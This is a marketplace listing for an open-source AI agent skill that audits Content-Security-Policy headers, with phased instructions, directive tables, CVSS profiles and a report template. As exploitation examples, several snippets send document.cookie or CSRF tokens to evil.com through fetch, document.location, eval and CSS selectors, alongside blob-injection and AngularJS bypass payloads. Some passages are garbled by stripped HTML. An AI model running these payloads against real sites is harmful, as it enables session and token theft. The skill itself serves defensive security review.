Install
$ agentstack add skill-igbuend-grimbard-content-security-policy Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Dangerous shell/eval execution.
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ● Dynamic code execution Used
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Content-Security-Policy Review
Analyze CSP headers and generate security findings with remediation guidance.
Target: $ARGUMENTS (raw CSP string, URL, domain, or file path)
When to Use This Skill
- Reviewing CSP headers on production websites
- Validating CSP before deployment
- Auditing CSP across multiple pages of a domain
- Investigating XSS bypass potential through CSP weaknesses
- Generating recommended CSP for a new application
Core Capabilities
| Capability | Description | |------------|-------------| | Input Detection | Auto-detect raw CSP, URL, domain, or file path | | Syntax Validation | Validate directives and source values against CSP Level 3 | | Security Analysis | Detect unsafe patterns, bypasses, and missing directives | | Strength Scoring | Deduction-based score (A-F) with justification | | Remediation | Generate recommended CSP with migration steps |
Workflow
Phase 1: Input Detection and CSP Retrieval
Detect input type from $ARGUMENTS and retrieve CSP:
Raw CSP string (contains directive keywords like default-src, script-src):
- Parse directly as CSP string
URL (starts with http:// or https://):
curl -sI -L "$URL" | grep -i "content-security-policy"
Domain (no scheme, no directives):
# Fetch CSP from homepage
curl -sI -L "https://$DOMAIN" | grep -i "content-security-policy"
# Spider via sitemap
curl -sL "https://$DOMAIN/sitemap.xml" | grep -oP '\K[^`
- `Content-Security-Policy-Report-Only` → note it is non-enforcing
- Multiple CSP headers → analyze each; note that browsers intersect them
- Meta-tag CSP → note limitations (no `frame-ancestors`, no `report-uri`, no `sandbox`)
### Phase 2: Parse and Validate Syntax
Split policy on `;` into directives. For each directive:
1. **Validate directive name** against CSP Level 3:
| Fetch Directives | Document Directives | Navigation Directives | Reporting |
|---|---|---|---|
| `default-src` | `sandbox` | `form-action` | `report-uri` |
| `script-src` | `base-uri` | `frame-ancestors` | `report-to` |
| `script-src-elem` | `plugin-types` | `navigate-to` | |
| `script-src-attr` | | | |
| `style-src` | | | |
| `style-src-elem` | | | |
| `style-src-attr` | | | |
| `img-src` | | | |
| `font-src` | | | |
| `connect-src` | | | |
| `media-src` | | | |
| `object-src` | | | |
| `frame-src` | | | |
| `child-src` | | | |
| `worker-src` | | | |
| `manifest-src` | | | |
| `prefetch-src` | | | |
Other valid directives: `upgrade-insecure-requests`, `block-all-mixed-content`, `require-trusted-types-for`, `trusted-types`
2. **Validate source values:**
- Keywords (must be single-quoted): `'self'`, `'unsafe-inline'`, `'unsafe-eval'`, `'unsafe-hashes'`, `'strict-dynamic'`, `'report-sample'`, `'none'`, `'wasm-unsafe-eval'`
- Nonces: `'nonce-'`
- Hashes: `'sha256-'`, `'sha384-'`, `'sha512-'`
- Schemes: `https:`, `http:`, `data:`, `blob:`, `mediastream:`, `filesystem:`
- Hosts: `example.com`, `*.example.com`, `https://example.com`
- Wildcards: `*`
3. **Detect syntax errors:**
- Unquoted keywords (`self` instead of `'self'`, `unsafe-inline` instead of `'unsafe-inline'`)
- Missing semicolons between directives
- Duplicate directives (second is ignored)
- Unknown directive names (typos)
- Invalid nonce/hash format
### Phase 3: Security Evaluation
#### Anti-Pattern Detection
For each finding, explain **why** the configuration is dangerous and provide an **exploitation example** showing how an attacker abuses it.
**CSP-01** | `unsafe-inline` in script-src | **Critical**
Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.
```html
document.location='https://evil.com/?c='+document.cookie
CSP-02 | unsafe-eval in script-src | High Why: Allows string-to-code execution. Attackers use eval(), Function(), setTimeout(string), or setInterval(string) to run injected payloads even without inline script tags.
// Attacker exploits an injection point that flows into eval:
eval('fetch("https://evil.com/?d="+document.cookie)')
CSP-03 | Wildcard * in script-src | Critical Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.
CSP-04 | data: in script-src | Critical Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.
CSP-05 | blob: in script-src | High Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.
// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):
var b = new Blob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);
CSP-06 | Known bypass endpoint allowlisted | High Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.
{{$eval.constructor('alert(document.domain)')()}}
CSP-07 | http: scheme in any directive | Medium Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.
# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com → MITM injects malicious JS in transit
CSP-08 | Overly broad host allowlist | Medium Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.
CSP-09 | unsafe-inline in style-src | Low Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.
input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */
CSP-10 | unsafe-hashes in script-src | Medium Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.
CSP-11 | Wildcard subdomain *.example.com in script-src | Medium Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.
CSP-12 | object-src allows plugins | High Why: Permits ` and ` tags to load plugin content. Attacker embeds a malicious Flash SWF or PDF that executes JavaScript in the page context.
Known CSP Bypass Sources
Flag these allowlisted hosts in script-src (from "CSP Is Dead, Long Live CSP" research):
| Host Pattern | Bypass Type | |---|---| | *.googleapis.com | JSONP endpoints | | *.gstatic.com | Angular library hosting | | *.google.com | JSONP callbacks | | cdnjs.cloudflare.com | Angular/other framework bypasses | | *.jsdelivr.net | Arbitrary JS hosting | | *.unpkg.com | Arbitrary npm package serving | | *.rawgit.com | Raw GitHub content | | *.cloudflare.com | Various JSONP endpoints | | accounts.google.com/gsi/client | Google Sign-In JSONP |
Missing Directive Analysis
| ID | Finding | Severity | Risk | Exploitation | |----|---------|----------|------|-------------| | CSP-20 | No default-src | High | No fallback; unlisted directives unrestricted | Attacker loads resources from any origin via directives not explicitly set | | CSP-21 | No script-src (no default-src fallback) | Critical | Scripts from any origin | ` executes freely | | CSP-22 | No object-src | High | Plugin-based XSS | runs in page context | | CSP-23 | No base-uri | Medium | tag hijacking | redirects all relative URLs (scripts, forms) to attacker domain | | CSP-24 | No frame-ancestors | Medium | Clickjacking | Attacker iframes the page and overlays transparent UI to trick clicks | | CSP-25 | No form-action | Medium | Form data theft | Attacker injects to exfiltrate user-submitted data | | CSP-26 | No upgrade-insecure-requests | Low | Mixed content | HTTP sub-resources remain vulnerable to MITM on HTTPS pages | | CSP-27 | No reporting | Low | No violation visibility | CSP bypasses go undetected; no data to tune policy | | CSP-28 | No style-src (no default-src fallback) | Low | CSS injection | Attacker loads external CSS with attribute selectors to exfiltrate page data | | CSP-29 | No img-src restriction | Low | Data exfiltration | ` leaks tokens via URL parameters |
Best Practice Assessment
| Practice | Check | |----------|-------| | Nonce-based CSP | script-src uses 'nonce-...' instead of allowlists | | strict-dynamic | Present in script-src (propagates trust to loaded scripts) | | Trusted Types | require-trusted-types-for 'script' present | | Strict default-src | Set to 'none' or 'self' | | Reporting enabled | report-uri or report-to configured | | Report-Only testing | Uses Report-Only header before enforcing |
CSP Level Classification
| Level | Indicator | |-------|-----------| | Level 1 | Host-based allowlists only | | Level 2 | Nonces or hashes present | | Level 3 | strict-dynamic, Trusted Types, script-src-elem/script-src-attr |
CVSS Scoring Reference
Baseline CVSS vectors per finding profile. Adjust based on application context (see adjustment guidance below).
CVSS 3.1 Profiles
| Profile | Score | Vector | Findings | |---------|-------|--------|----------| | Complete CSP bypass | 9.3 | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-01, -03, -04, -21 | | Conditional CSP bypass | 8.0 | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-02, -05, -06, -12, -20, -22 | | Network content injection | 5.3 | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N | CSP-07 | | Policy weakening | 4.7 | AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N | CSP-08, -11, -23, -25 | | UI redress | 4.3 | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N | CSP-24 | | Limited code execution | 4.2 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N | CSP-10 | | Data leak via CSS/images | 3.1 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N | CSP-09, -28, -29 | | Hardening recommendation | — | No direct attack path | CSP-26, -27 |
CVSS 4.0 Profiles (verify with FIRST calculator)
| Profile | Score | Vector | Findings | |---------|-------|--------|----------| | Complete CSP bypass | ~9.2 | AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-01, -03, -04, -21 | | Conditional CSP bypass | ~8.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-02, -05, -06, -12, -20, -22 | | Network content injection | ~6.4 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N | CSP-07 | | Policy weakening | ~2.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N | CSP-08, -11, -23, -25 | | UI redress | ~5.1 | AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N | CSP-24 | | Limited code execution | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N | CSP-10 | | Data leak | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N | CSP-09, -28, -29 | | Hardening recommendation | — | No direct attack path | CSP-26, -27 |
CVSS 4.0 typically scores lower than 3.1 for conditional findings. Both versions provided for customer compatibility.
Score Adjustment Guidance:
- Known injection point exists: upgrade AC:H → AC:L (3.1) or AT:P → AT:N (4.0) for conditional findings
- Internal-only app: reduce AV to A (Adjacent) if not internet-facing
- API-only (no browser UI): reduce impact metrics if session hijacking not applicable
- High-value target (banking, healthcare): consider Supplemental metrics in CVSS 4.0
Phase 4: Strength Scoring
Start at 100. Deduct per finding:
| Severity | Deduction per finding | |----------|----------------------| | Critical | -25 | | High | -15 | | Medium | -5 | | Low | -2 |
Bonus points (max +20):
| Bonus | Points | |-------|--------| | Nonce-based script-src | +5 | | strict-dynamic present | +5 | | Trusted Types enabled | +5 | | Reporting configured | +3 | | upgrade-insecure-requests | +2 |
Score interpretation:
| Grade | Score | Meaning | |-------|-------|---------| | A | 90-100 | Strong CSP, minor improvements possible | | B | 75-89 | Good CSP, some gaps to address | | C | 50-74 | Moderate CSP, significant weaknesses | | D | 25-49 | Weak CSP, major risks present | | F | 0-24 | Ineffective CSP, provides minimal protection |
Floor at 0. Cap at 100.
Phase 5: Report Generation
Reporting requirement: Every finding MUST include:
- CVSS scores — both 3.1 and 4.0 with full vector strings (use reference profiles from Phase 3, adjust per guidance)
- Why the directive/value is dangerous (the specific security property it breaks)
- How an attacker exploits it (concrete HTML/JS payload or attack scenario)
- What to do about it (specific CSP change with example syntax)
Do not report generic risk labels alone. A developer reading the report should understand the exact attack vector without needing to look anything up.
Generate this report structure:
# CSP Analysis Report
**Target:** {URL/domain/raw}
**Date:** {date}
**CSP Source:** {Response header | Meta tag | Raw input}
**CSP Level:** {1 | 2 | 3}
**Score:** {score}/100 (Grade {A-F})
## Raw Policy
{full CSP string}
## Parsed Directives
| Directive | Values |
|-----------|--------|
| default-src | 'self' |
| script-src | 'self' 'unsafe-inline' cdn.example.com |
| ... | ... |
## Findings
### Critical
#### [CSP-01] `unsafe-inline` in script-src
**Directive:** `script-src` | **Value:** `'unsafe-inline'`
**CVSS 3.1:** 9.3 (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`)
**CVSS 4.0:** ~9.2 (`AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`)
**Why this is dangerous:** Completely defeats CSP's XSS protection. The browser trusts all inline scripts, so any injection point becomes directly exploitable.
**Exploitation example:**
```html
fetch('https://evil.com/?c='+document.cookie)
Recommendation: Remove unsafe-inline. Use nonce-based CSP ('nonce-{random}') or hash-based CSP ('sha256-...'). Add 'strict-dynamic' to propagate trust to scripts loaded by nonced scripts.
{Repeat for each finding per severity tier: High, Medium, Low. Each finding MUST include: CVSS 3.1 + 4.0 with vectors, Why dangerous, Exploitation example, and Recommendation.}
Missing Directives
| ID | Directive | Risk | Recommendation | |----|-----------|------|----------------| | CSP-22 | object-src | Plugin XSS | Add object-src 'none' |
Best Practices Assessment
| Practice | Status | Notes | |----------|--------|-------| | Nonce-based CSP | Missing | Using allowlist-based approach | | strict-dynamic | Missing | Add for CSP Level 3 | | ... | ... | ... |
Recommended CSP
default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'; upgrade-insecure-requests; report-uri /csp-report
Summary
Score: {score}/100 ({grade})
Key Actions:
- {Highest priority fix}
- {Second priority fix}
- {Third priority fix}
For domain scans with multiple pages, add a comparison table:
```markdown
## Page Comparison
| Page | CSP Present | Score | Key Differences |
|------|-------------|-------|-----------------|
| / | Yes | 72 | Baseline |
| /login | Yes | 65 | Adds unsafe-inline for form |
| /api/docs | No | 0 | No CSP header |
Implementation Steps
- Detect input type fro
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: igbuend
- Source: igbuend/grimbard
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.